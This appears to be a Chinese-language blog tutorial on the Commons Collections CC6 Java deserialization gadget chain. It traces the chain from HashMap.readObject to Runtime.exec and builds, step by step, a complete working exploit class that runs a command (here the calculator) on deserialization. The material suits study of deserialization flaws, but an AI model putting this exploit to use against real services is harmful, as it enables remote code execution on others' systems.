Java反序列化 CC6链

参考链接

https://www.bilibili.com/video/BV1yP4y1p7N7
https://y0n3er.github.io/undefined/29590.html
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

环境搭建

jdk_8u71:https://blog.lupf.cn/articles/2022/02/20/1645352101537.html
虚拟机安装以后拷贝出来

image.png

然后在project structure里配置Project、Modules、SDKs

image.png

注意:调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致变量值改变!

image.png

调用链分析

yoserial的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/

前半段和CC1-LazyMap是一样的,只分析一下LazyMap上面的调用。

  1. TiedMapEntry#getValue()调用了map.get(key)

image.png

  1. TiedMapEntry#hashCode()调用了TiedMapEntry#getValue()

image.png

  1. HashMap#hash(Object key)调用了key.hashCode()

image.png

  1. HashMap#readObject()调用了HashMap#hash(key)

image.png

所以只需要一个HashMap序列化,key指定为TiedMapEntry对象,
再把TiedMapEntry对象的map属性改成LazyMap对象,就会调到它的get了。

编写Exp

lazyMap#get()

先确定lazyMap.get()能触发命令执行,Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");
}
}

image.png

TiedMapEntry#getvalue()

然后再构造TiedMapEntry的对象,观察是否能调到get()
注意构造函数要把lazyMap传进去,key随便取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
tiedMapEntry.getValue();
}
}

image.png

TiedMapEntry#hashCode()

hashCode()经常用来和入口类HashMap对接,需要比较敏感。
这里和上一步没差别,加了一层函数调用而已,为的是方便连上后面的入口类HashMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
// tiedMapEntry.getValue();
tiedMapEntry.hashCode();
}
}

image.png

HashMap#hash()

这个hash()是default权限的,我们用反射访问,确定链子到这没问题,Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
// tiedMapEntry.getValue();
// tiedMapEntry.hashCode();
Class clazz = Class.forName("java.util.HashMap");
Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
hashMethod.setAccessible(true);
hashMethod.invoke(clazz,tiedMapEntry);
}
}

image.png

HashMap#readObject()

它的反序列化函数会把hashMap这个对象里的key读出来做hash(),即hash(key)
这就需要我们在要序列化的对象里,put一个键值对,把key设成tiedMapEntry对象
Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
// tiedMapEntry.getValue();
// tiedMapEntry.hashCode();
// Class clazz = Class.forName("java.util.HashMap");
// Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
// hashMethod.setAccessible(true);
// hashMethod.invoke(clazz,tiedMapEntry);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"Jasper");
serialize(hashMap1);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}
}

image.png

**但是注意:这里实际上在put键值对的时候就触发了链条,弹出了计算器,这显然不对。

image.png

最终Exp

到这里,Exp还存在两个问题:

  • put的时候会提前调用了链条(老让自己电脑执行命令,不方便利用)
  • put调用链子后,再次反序列化不会进transform()

首先解决HashMap#put()会触发链条的问题,这是因为它也会调HashMap#hash()

image.png

这意味着我们的链条会先被执行一次,而我们不想让它在自己电脑弹计算器(不方便),可以做这个修改:

1
2
3
4
//原来
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
//改成
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));

这样一来,即使put调用了链子,也只是返回一个常量,不会弹计算器。
但是,我们在改了链条去绕put之后,在反序列化之前肯定要把链子改回来,尝试编写Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
//修改链子,防止put消耗链条
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
// lazyMap.get("Jasper");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
// tiedMapEntry.getValue();
// tiedMapEntry.hashCode();
// Class clazz = Class.forName("java.util.HashMap");
// Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
// hashMethod.setAccessible(true);
// hashMethod.invoke(clazz,tiedMapEntry);

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"Jasper");
//把链子改回来
Field factoryField = lazyMap.getClass().getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(hashMap1);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}
}

实际上虽然put会弹计算器,但反序列化还能再弹一个计算器,这里猜测改掉的原因,可能是让exp更加优雅。
然后,解决反序列化不进transform()的问题,我们试着调试一下反序列化函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
get:157, LazyMap
getValue:74, TiedMapEntry
hashCode:121, TiedMapEntry
hash:338, HashMap
readObject:1397, HashMap
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeReadObject:1058, ObjectStreamClass
readSerialData:1900, ObjectInputStream
readOrdinaryObject:1801, ObjectInputStream
readObject0:1351, ObjectInputStream
readObject:371, ObjectInputStream
unserialize:62, TestCC6
main:48, TestCC6

发现这里key2已经存在了,导致过不了判断,进不了transform(),这是为什么呢?

image.png

原因在于,执行put的时候调用过了一次这条链,在那时LazyMap就把没加载进来的key2给加进来了:

1
2
3
4
5
6
get:159, LazyMap
getValue:74, TiedMapEntry
hashCode:121, TiedMapEntry
hash:338, HashMap
put:611, HashMap
main:41, TestCC6
image.png

这也是LazyMap类的功能所在,所谓的懒加载,那我们得想办法进到if判断里,来调transform()
这里很容易想到,我们把在序列化之前,再把key2给删了就好,最终Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class TestCC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
//修改链子,防止put消耗链条
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"Jasper");
//把链子改回来
Field factoryField = lazyMap.getClass().getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
//绕过IF判断的懒加载,调用Transform
lazyMap.remove("key2");
serialize(hashMap1);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}
}

注意事项

调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致调试HashMap#put()的时候,
走到LazyMap#get()里,会自动给map添加key2,导致无论如何都过不了if,也调不了transform()

image.png

image.png

总结

CC6这条是不限制jdk版本的链子,比较通用,毕竟没有哪个版本会把HashMap给过滤了。
值得注意的是,CC6这条链给出了在Exp编写中,某个函数提前触发了链条的解决办法。
这条链本身并不难,主要是被IDEA的调试器给制裁了,导致调半天找不到出错原因。